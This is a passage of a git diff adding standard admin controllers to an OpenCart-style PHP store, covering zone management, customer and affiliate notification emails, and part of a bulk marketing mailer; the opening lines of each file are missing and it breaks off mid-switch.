+ $this->load->model('localisation/zone');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/zone');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/zone');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_zone->addZone($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/zone', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/zone');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/zone');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_zone->editZone($this->request->get['zone_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/zone', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/zone');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/zone');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $zone_id) {
+ $this->model_localisation_zone->deleteZone($zone_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/zone', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'c.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/zone', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/zone/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/zone/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['zones'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $zone_total = $this->model_localisation_zone->getTotalZones();
+
+ $results = $this->model_localisation_zone->getZones($filter_data);
+
+ foreach ($results as $result) {
+ $data['zones'][] = array(
+ 'zone_id' => $result['zone_id'],
+ 'country' => $result['country'],
+ 'name' => $result['name'] . (($result['zone_id'] == $this->config->get('config_zone_id')) ? $this->language->get('text_default') : null),
+ 'code' => $result['code'],
+ 'edit' => $this->url->link('localisation/zone/edit', 'user_token=' . $this->session->data['user_token'] . '&zone_id=' . $result['zone_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_country'] = $this->url->link('localisation/zone', 'user_token=' . $this->session->data['user_token'] . '&sort=c.name' . $url, true);
+ $data['sort_name'] = $this->url->link('localisation/zone', 'user_token=' . $this->session->data['user_token'] . '&sort=z.name' . $url, true);
+ $data['sort_code'] = $this->url->link('localisation/zone', 'user_token=' . $this->session->data['user_token'] . '&sort=z.code' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $zone_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/zone', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($zone_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($zone_total - $this->config->get('config_limit_admin'))) ? $zone_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $zone_total, ceil($zone_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/zone_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['zone_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/zone', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['zone_id'])) {
+ $data['action'] = $this->url->link('localisation/zone/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/zone/edit', 'user_token=' . $this->session->data['user_token'] . '&zone_id=' . $this->request->get['zone_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('localisation/zone', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['zone_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $zone_info = $this->model_localisation_zone->getZone($this->request->get['zone_id']);
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($zone_info)) {
+ $data['status'] = $zone_info['status'];
+ } else {
+ $data['status'] = '1';
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($zone_info)) {
+ $data['name'] = $zone_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['code'])) {
+ $data['code'] = $this->request->post['code'];
+ } elseif (!empty($zone_info)) {
+ $data['code'] = $zone_info['code'];
+ } else {
+ $data['code'] = '';
+ }
+
+ if (isset($this->request->post['country_id'])) {
+ $data['country_id'] = $this->request->post['country_id'];
+ } elseif (!empty($zone_info)) {
+ $data['country_id'] = $zone_info['country_id'];
+ } else {
+ $data['country_id'] = '';
+ }
+
+ $this->load->model('localisation/country');
+
+ $data['countries'] = $this->model_localisation_country->getCountries();
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/zone_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/zone')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 1) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/zone')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('setting/store');
+ $this->load->model('customer/customer');
+ $this->load->model('localisation/geo_zone');
+
+ foreach ($this->request->post['selected'] as $zone_id) {
+ if ($this->config->get('config_zone_id') == $zone_id) {
+ $this->error['warning'] = $this->language->get('error_default');
+ }
+
+ $store_total = $this->model_setting_store->getTotalStoresByZoneId($zone_id);
+
+ if ($store_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_store'), $store_total);
+ }
+
+ $address_total = $this->model_customer_customer->getTotalAddressesByZoneId($zone_id);
+
+ if ($address_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_address'), $address_total);
+ }
+
+ $zone_to_geo_zone_total = $this->model_localisation_geo_zone->getTotalZoneToGeoZoneByZoneId($zone_id);
+
+ if ($zone_to_geo_zone_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_zone_to_geo_zone'), $zone_to_geo_zone_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/mail/affiliate.php b/public/admin/controller/mail/affiliate.php
new file mode 100644
index 0000000..0cf97de
--- /dev/null
+++ b/public/admin/controller/mail/affiliate.php
@@ -0,0 +1,114 @@
+load->model('customer/customer');
+
+ $customer_info = $this->model_customer_customer->getCustomer($args[0]);
+
+ if ($customer_info) {
+ $this->load->model('setting/store');
+
+ $store_info = $this->model_setting_store->getStore($customer_info['store_id']);
+
+ if ($store_info) {
+ $store_name = html_entity_decode($store_info['name'], ENT_QUOTES, 'UTF-8');
+ $store_url = $store_info['url'];
+ } else {
+ $store_name = html_entity_decode($this->config->get('config_name'), ENT_QUOTES, 'UTF-8');
+ $store_url = HTTP_CATALOG;
+ }
+
+ $this->load->model('localisation/language');
+
+ $language_info = $this->model_localisation_language->getLanguage($customer_info['language_id']);
+
+ if ($language_info) {
+ $language_code = $language_info['code'];
+ } else {
+ $language_code = $this->config->get('config_language');
+ }
+
+ $language = new Language($language_code);
+ $language->load($language_code);
+ $language->load('mail/affiliate_approve');
+
+ $subject = sprintf($language->get('text_subject'), $store_name);
+
+ $data['text_welcome'] = sprintf($language->get('text_welcome'), $store_name);
+
+ $data['login'] = $store_url . 'index.php?route=affiliate/login';
+ $data['store'] = $store_name;
+
+ $mail = new Mail($this->config->get('config_mail_engine'));
+ $mail->parameter = $this->config->get('config_mail_parameter');
+ $mail->smtp_hostname = $this->config->get('config_mail_smtp_hostname');
+ $mail->smtp_username = $this->config->get('config_mail_smtp_username');
+ $mail->smtp_password = html_entity_decode($this->config->get('config_mail_smtp_password'), ENT_QUOTES, 'UTF-8');
+ $mail->smtp_port = $this->config->get('config_mail_smtp_port');
+ $mail->smtp_timeout = $this->config->get('config_mail_smtp_timeout');
+
+ $mail->setTo($customer_info['email']);
+ $mail->setFrom($this->config->get('config_email'));
+ $mail->setSender($store_name);
+ $mail->setSubject($subject);
+ $mail->setText($this->load->view('mail/affiliate_approve', $data));
+ $mail->send();
+ }
+ }
+
+ public function deny(&$route, &$args, &$output) {
+ $this->load->model('customer/customer');
+
+ $customer_info = $this->model_customer_customer->getCustomer($args[0]);
+
+ if ($customer_info) {
+ $this->load->model('setting/store');
+
+ $store_info = $this->model_setting_store->getStore($customer_info['store_id']);
+
+ if ($store_info) {
+ $store_name = html_entity_decode($store_info['name'], ENT_QUOTES, 'UTF-8');
+ $store_url = $store_info['url'];
+ } else {
+ $store_name = html_entity_decode($this->config->get('config_name'), ENT_QUOTES, 'UTF-8');
+ $store_url = HTTP_CATALOG;
+ }
+
+ $this->load->model('localisation/language');
+
+ $language_info = $this->model_localisation_language->getLanguage($customer_info['language_id']);
+
+ if ($language_info) {
+ $language_code = $language_info['code'];
+ } else {
+ $language_code = $this->config->get('config_language');
+ }
+
+ $language = new Language($language_code);
+ $language->load($language_code);
+ $language->load('mail/affiliate_deny');
+
+ $subject = sprintf($language->get('text_subject'), $store_name);
+
+ $data['text_welcome'] = sprintf($language->get('text_welcome'), $store_name);
+
+ $data['contact'] = $store_url . 'index.php?route=information/contact';
+ $data['store'] = $store_name;
+
+ $mail = new Mail($this->config->get('config_mail_engine'));
+ $mail->parameter = $this->config->get('config_mail_parameter');
+ $mail->smtp_hostname = $this->config->get('config_mail_smtp_hostname');
+ $mail->smtp_username = $this->config->get('config_mail_smtp_username');
+ $mail->smtp_password = html_entity_decode($this->config->get('config_mail_smtp_password'), ENT_QUOTES, 'UTF-8');
+ $mail->smtp_port = $this->config->get('config_mail_smtp_port');
+ $mail->smtp_timeout = $this->config->get('config_mail_smtp_timeout');
+
+ $mail->setTo($customer_info['email']);
+ $mail->setFrom($this->config->get('config_email'));
+ $mail->setSender($store_name);
+ $mail->setSubject($subject);
+ $mail->setText($this->load->view('mail/affiliate_deny', $data));
+ $mail->send();
+ }
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/mail/customer.php b/public/admin/controller/mail/customer.php
new file mode 100644
index 0000000..d29db8c
--- /dev/null
+++ b/public/admin/controller/mail/customer.php
@@ -0,0 +1,114 @@
+load->model('customer/customer');
+
+ $customer_info = $this->model_customer_customer->getCustomer($args[0]);
+
+ if ($customer_info) {
+ $this->load->model('setting/store');
+
+ $store_info = $this->model_setting_store->getStore($customer_info['store_id']);
+
+ if ($store_info) {
+ $store_name = html_entity_decode($store_info['name'], ENT_QUOTES, 'UTF-8');
+ $store_url = $store_info['url'];
+ } else {
+ $store_name = html_entity_decode($this->config->get('config_name'), ENT_QUOTES, 'UTF-8');
+ $store_url = HTTP_CATALOG;
+ }
+
+ $this->load->model('localisation/language');
+
+ $language_info = $this->model_localisation_language->getLanguage($customer_info['language_id']);
+
+ if ($language_info) {
+ $language_code = $language_info['code'];
+ } else {
+ $language_code = $this->config->get('config_language');
+ }
+
+ $language = new Language($language_code);
+ $language->load($language_code);
+ $language->load('mail/customer_approve');
+
+ $subject = sprintf($language->get('text_subject'), $store_name);
+
+ $data['text_welcome'] = sprintf($language->get('text_welcome'), $store_name);
+
+ $data['login'] = $store_url . 'index.php?route=account/login';
+ $data['store'] = $store_name;
+
+ $mail = new Mail($this->config->get('config_mail_engine'));
+ $mail->parameter = $this->config->get('config_mail_parameter');
+ $mail->smtp_hostname = $this->config->get('config_mail_smtp_hostname');
+ $mail->smtp_username = $this->config->get('config_mail_smtp_username');
+ $mail->smtp_password = html_entity_decode($this->config->get('config_mail_smtp_password'), ENT_QUOTES, 'UTF-8');
+ $mail->smtp_port = $this->config->get('config_mail_smtp_port');
+ $mail->smtp_timeout = $this->config->get('config_mail_smtp_timeout');
+
+ $mail->setTo($customer_info['email']);
+ $mail->setFrom($this->config->get('config_email'));
+ $mail->setSender($store_name);
+ $mail->setSubject($subject);
+ $mail->setText($this->load->view('mail/customer_approve', $data));
+ $mail->send();
+ }
+ }
+
+ public function deny(&$route, &$args, &$output) {
+ $this->load->model('customer/customer');
+
+ $customer_info = $this->model_customer_customer->getCustomer($args[0]);
+
+ if ($customer_info) {
+ $this->load->model('setting/store');
+
+ $store_info = $this->model_setting_store->getStore($customer_info['store_id']);
+
+ if ($store_info) {
+ $store_name = html_entity_decode($store_info['name'], ENT_QUOTES, 'UTF-8');
+ $store_url = $store_info['url'];
+ } else {
+ $store_name = html_entity_decode($this->config->get('config_name'), ENT_QUOTES, 'UTF-8');
+ $store_url = HTTP_CATALOG;
+ }
+
+ $this->load->model('localisation/language');
+
+ $language_info = $this->model_localisation_language->getLanguage($customer_info['language_id']);
+
+ if ($language_info) {
+ $language_code = $language_info['code'];
+ } else {
+ $language_code = $this->config->get('config_language');
+ }
+
+ $language = new Language($language_code);
+ $language->load($language_code);
+ $language->load('mail/customer_deny');
+
+ $subject = sprintf($language->get('text_subject'), $store_name);
+
+ $data['text_welcome'] = sprintf($language->get('text_welcome'), $store_name);
+
+ $data['contact'] = $store_url . 'index.php?route=information/contact';
+ $data['store'] = $store_name;
+
+ $mail = new Mail($this->config->get('config_mail_engine'));
+ $mail->parameter = $this->config->get('config_mail_parameter');
+ $mail->smtp_hostname = $this->config->get('config_mail_smtp_hostname');
+ $mail->smtp_username = $this->config->get('config_mail_smtp_username');
+ $mail->smtp_password = html_entity_decode($this->config->get('config_mail_smtp_password'), ENT_QUOTES, 'UTF-8');
+ $mail->smtp_port = $this->config->get('config_mail_smtp_port');
+ $mail->smtp_timeout = $this->config->get('config_mail_smtp_timeout');
+
+ $mail->setTo($customer_info['email']);
+ $mail->setFrom($this->config->get('config_email'));
+ $mail->setSender($store_name);
+ $mail->setSubject($subject);
+ $mail->setText($this->load->view('mail/customer_deny', $data));
+ $mail->send();
+ }
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/mail/forgotten.php b/public/admin/controller/mail/forgotten.php
new file mode 100644
index 0000000..c4f6029
--- /dev/null
+++ b/public/admin/controller/mail/forgotten.php
@@ -0,0 +1,26 @@
+load->language('mail/forgotten');
+
+ $data['text_greeting'] = sprintf($this->language->get('text_greeting'), html_entity_decode($this->config->get('config_name'), ENT_QUOTES, 'UTF-8'));
+
+ $data['reset'] = str_replace('&', '&', $this->url->link('common/reset', 'code=' . $args[1], true));
+ $data['ip'] = $this->request->server['REMOTE_ADDR'];
+
+ $mail = new Mail($this->config->get('config_mail_engine'));
+ $mail->parameter = $this->config->get('config_mail_parameter');
+ $mail->smtp_hostname = $this->config->get('config_mail_smtp_hostname');
+ $mail->smtp_username = $this->config->get('config_mail_smtp_username');
+ $mail->smtp_password = html_entity_decode($this->config->get('config_mail_smtp_password'), ENT_QUOTES, 'UTF-8');
+ $mail->smtp_port = $this->config->get('config_mail_smtp_port');
+ $mail->smtp_timeout = $this->config->get('config_mail_smtp_timeout');
+
+ $mail->setTo($args[0]);
+ $mail->setFrom($this->config->get('config_email'));
+ $mail->setSender(html_entity_decode($this->config->get('config_name'), ENT_QUOTES, 'UTF-8'));
+ $mail->setSubject(html_entity_decode(sprintf($this->language->get('text_subject'), html_entity_decode($this->config->get('config_name'), ENT_QUOTES, 'UTF-8')), ENT_QUOTES, 'UTF-8'));
+ $mail->setText($this->load->view('mail/forgotten', $data));
+ $mail->send();
+ }
+}
diff --git a/public/admin/controller/mail/return.php b/public/admin/controller/mail/return.php
new file mode 100644
index 0000000..a7d8ca4
--- /dev/null
+++ b/public/admin/controller/mail/return.php
@@ -0,0 +1,58 @@
+load->model('sale/return');
+
+ $return_info = $this->model_sale_return->getReturn($return_id);
+
+ if ($return_info) {
+ $this->load->language('mail/return');
+
+ $data['return_id'] = $return_id;
+ $data['date_added'] = date($this->language->get('date_format_short'), strtotime($return_info['date_modified']));
+ $data['return_status'] = $return_info['return_status'];
+ $data['comment'] = strip_tags(html_entity_decode($comment, ENT_QUOTES, 'UTF-8'));
+
+ $mail = new Mail($this->config->get('config_mail_engine'));
+ $mail->parameter = $this->config->get('config_mail_parameter');
+ $mail->smtp_hostname = $this->config->get('config_mail_smtp_hostname');
+ $mail->smtp_username = $this->config->get('config_mail_smtp_username');
+ $mail->smtp_password = html_entity_decode($this->config->get('config_mail_smtp_password'), ENT_QUOTES, 'UTF-8');
+ $mail->smtp_port = $this->config->get('config_mail_smtp_port');
+ $mail->smtp_timeout = $this->config->get('config_mail_smtp_timeout');
+
+ $mail->setTo($return_info['email']);
+ $mail->setFrom($this->config->get('config_email'));
+ $mail->setSender(html_entity_decode($this->config->get('config_name'), ENT_QUOTES, 'UTF-8'));
+ $mail->setSubject(sprintf($this->language->get('text_subject'), html_entity_decode($this->config->get('config_name'), ENT_QUOTES, 'UTF-8'), $return_id));
+ $mail->setText($this->load->view('mail/return', $data));
+ $mail->send();
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/mail/reward.php b/public/admin/controller/mail/reward.php
new file mode 100644
index 0000000..8d72ad7
--- /dev/null
+++ b/public/admin/controller/mail/reward.php
@@ -0,0 +1,65 @@
+load->model('customer/customer');
+
+ $customer_info = $this->model_customer_customer->getCustomer($customer_id);
+
+ if ($customer_info) {
+ $this->load->language('mail/reward');
+
+ $this->load->model('setting/store');
+
+ $store_info = $this->model_setting_store->getStore($customer_info['store_id']);
+
+ if ($store_info) {
+ $store_name = $store_info['name'];
+ } else {
+ $store_name = $this->config->get('config_name');
+ }
+
+ $data['text_received'] = sprintf($this->language->get('text_received'), $points);
+ $data['text_total'] = sprintf($this->language->get('text_total'), $this->model_customer_customer->getRewardTotal($customer_id));
+
+ $mail = new Mail($this->config->get('config_mail_engine'));
+ $mail->protocol = $this->config->get('config_mail_protocol');
+ $mail->parameter = $this->config->get('config_mail_parameter');
+ $mail->smtp_hostname = $this->config->get('config_mail_smtp_hostname');
+ $mail->smtp_username = $this->config->get('config_mail_smtp_username');
+ $mail->smtp_password = html_entity_decode($this->config->get('config_mail_smtp_password'), ENT_QUOTES, 'UTF-8');
+ $mail->smtp_port = $this->config->get('config_mail_smtp_port');
+ $mail->smtp_timeout = $this->config->get('config_mail_smtp_timeout');
+
+ $mail->setTo($customer_info['email']);
+ $mail->setFrom($this->config->get('config_email'));
+ $mail->setSender(html_entity_decode($store_name, ENT_QUOTES, 'UTF-8'));
+ $mail->setSubject(sprintf($this->language->get('text_subject'), html_entity_decode($store_name, ENT_QUOTES, 'UTF-8')));
+ $mail->setText($this->load->view('mail/reward', $data));
+ $mail->send();
+ }
+ }
+}
diff --git a/public/admin/controller/mail/transaction.php b/public/admin/controller/mail/transaction.php
new file mode 100644
index 0000000..5a3078a
--- /dev/null
+++ b/public/admin/controller/mail/transaction.php
@@ -0,0 +1,64 @@
+load->model('customer/customer');
+
+ $customer_info = $this->model_customer_customer->getCustomer($customer_id);
+
+ if ($customer_info) {
+ $this->load->language('mail/transaction');
+
+ $this->load->model('setting/store');
+
+ $store_info = $this->model_setting_store->getStore($customer_info['store_id']);
+
+ if ($store_info) {
+ $store_name = $store_info['name'];
+ } else {
+ $store_name = $this->config->get('config_name');
+ }
+
+ $data['text_received'] = sprintf($this->language->get('text_received'), $this->currency->format($amount, $this->config->get('config_currency')));
+ $data['text_total'] = sprintf($this->language->get('text_total'), $this->currency->format($this->model_customer_customer->getTransactionTotal($customer_id), $this->config->get('config_currency')));
+
+ $mail = new Mail($this->config->get('config_mail_engine'));
+ $mail->parameter = $this->config->get('config_mail_parameter');
+ $mail->smtp_hostname = $this->config->get('config_mail_smtp_hostname');
+ $mail->smtp_username = $this->config->get('config_mail_smtp_username');
+ $mail->smtp_password = html_entity_decode($this->config->get('config_mail_smtp_password'), ENT_QUOTES, 'UTF-8');
+ $mail->smtp_port = $this->config->get('config_mail_smtp_port');
+ $mail->smtp_timeout = $this->config->get('config_mail_smtp_timeout');
+
+ $mail->setTo($customer_info['email']);
+ $mail->setFrom($this->config->get('config_email'));
+ $mail->setSender(html_entity_decode($store_name, ENT_QUOTES, 'UTF-8'));
+ $mail->setSubject(sprintf($this->language->get('text_subject'), html_entity_decode($this->config->get('config_name'), ENT_QUOTES, 'UTF-8')));
+ $mail->setText($this->load->view('mail/transaction', $data));
+ $mail->send();
+ }
+ }
+}
diff --git a/public/admin/controller/marketing/contact.php b/public/admin/controller/marketing/contact.php
new file mode 100644
index 0000000..285bcaa
--- /dev/null
+++ b/public/admin/controller/marketing/contact.php
@@ -0,0 +1,247 @@
+load->language('marketing/contact');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('marketing/contact', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['cancel'] = $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true);
+
+ $this->load->model('setting/store');
+
+ $data['stores'] = $this->model_setting_store->getStores();
+
+ $this->load->model('customer/customer_group');
+
+ $data['customer_groups'] = $this->model_customer_customer_group->getCustomerGroups();
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('marketing/contact', $data));
+ }
+
+ public function send() {
+ $this->load->language('marketing/contact');
+
+ $json = array();
+
+ if ($this->request->server['REQUEST_METHOD'] == 'POST') {
+ if (!$this->user->hasPermission('modify', 'marketing/contact')) {
+ $json['error']['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['subject']) {
+ $json['error']['subject'] = $this->language->get('error_subject');
+ }
+
+ if (!$this->request->post['message']) {
+ $json['error']['message'] = $this->language->get('error_message');
+ }
+
+ if (!$json) {
+ $this->load->model('setting/store');
+ $this->load->model('setting/setting');
+ $this->load->model('customer/customer');
+ $this->load->model('sale/order');
+
+ $store_info = $this->model_setting_store->getStore($this->request->post['store_id']);
+
+ if ($store_info) {
+ $store_name = $store_info['name'];
+ } else {
+ $store_name = $this->config->get('config_name');
+ }
+
+ $setting = $this->model_setting_setting->getSetting('config', $this->request->post['store_id']);
+
+ $store_email = isset($setting['config_email']) ? $setting['config_email'] : $this->config->get('config_email');
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $email_total = 0;
+
+ $emails = array();
+
+ switch ($this->request->post['to']) {
+ case 'newsletter':
+ $customer_data = array(
+ 'filter_newsletter' => 1,
+ 'start' => ($page - 1) * 10,
+ 'limit' => 10
+ );
+
+ $email_total = $this->model_customer_customer->getTotalCustomers($customer_data);
+
+ $results = $this->model_customer_customer->getCustomers($customer_data);
+
+ foreach ($results as $result) {
+ $emails[] = $result['email'];
+ }
+ break;
+ case 'customer_all':
+ $customer_data = array(
+ 'start' => ($page - 1) * 10,
+ 'limit' => 10
+ );
+
+ $email_total = $this->model_customer_customer->getTotalCustomers($customer_data);
+
+ $results = $this->model_customer_customer->getCustomers($customer_data);
+
+ foreach ($results as $result) {
+ $emails[] = $result['email'];
+ }
+ break;
+ case 'customer_group':
+ $customer_data = array(
+ 'filter_customer_group_id' => $this->request->post['customer_group_id'],
+ 'start' => ($page - 1) * 10,
+ 'limit' => 10
+ );
+
+ $email_total = $this->model_customer_customer->getTotalCustomers($customer_data);
+
+ $results = $this->model_customer_customer->getCustomers($customer_data);
+
+ foreach ($results as $result) {
+ $emails[$result['customer_id']] = $result['email'];
+ }
+ break;
+ case 'customer':
+ if (!empty($this->request->post['customer'])) {
+ $customers = array_slice($this->request->post['customer'], ($page - 1) * 10, 10);
+
+ foreach ($customers as $customer_id) {
+ $customer_info = $this->model_customer_customer->getCustomer($customer_id);
+
+ if ($customer_info) {
+ $emails[] = $customer_info['email'];
+ }
+ }
+
+ $email_total = count($emails);
+ }
+ break;
+ case 'affiliate_all':
+ $affiliate_data = array(
+ 'filter_affiliate' => 1,
+ 'start' => ($page - 1) * 10,
+ 'limit' => 10
+ );
+
+ $email_total = $this->model_customer_customer->getTotalCustomers($affiliate_data);
+
+ $results = $this->model_customer_customer->getCustomers($affiliate_data);
+
+ foreach ($results as $result) {
+ $emails[] = $result['email'];
+ }
+ break;
+ case 'affiliate':
+ if (!empty($this->request->post['affiliate'])) {
+ $affiliates = array_slice($this->request->post['affiliate'], ($page - 1) * 10, 10);
+
+ foreach ($affiliates as $affiliate_id) {
+ $affiliate_info = $this->model_customer_customer->getCustomer($affiliate_id);
+
+ if ($affiliate_info) {
+ $emails[] = $affiliate_info['email'];
+ }
+ }
+
+ $email_total = count($this->request->post['affiliate']);
+ }
+ break;
+ case 'product':
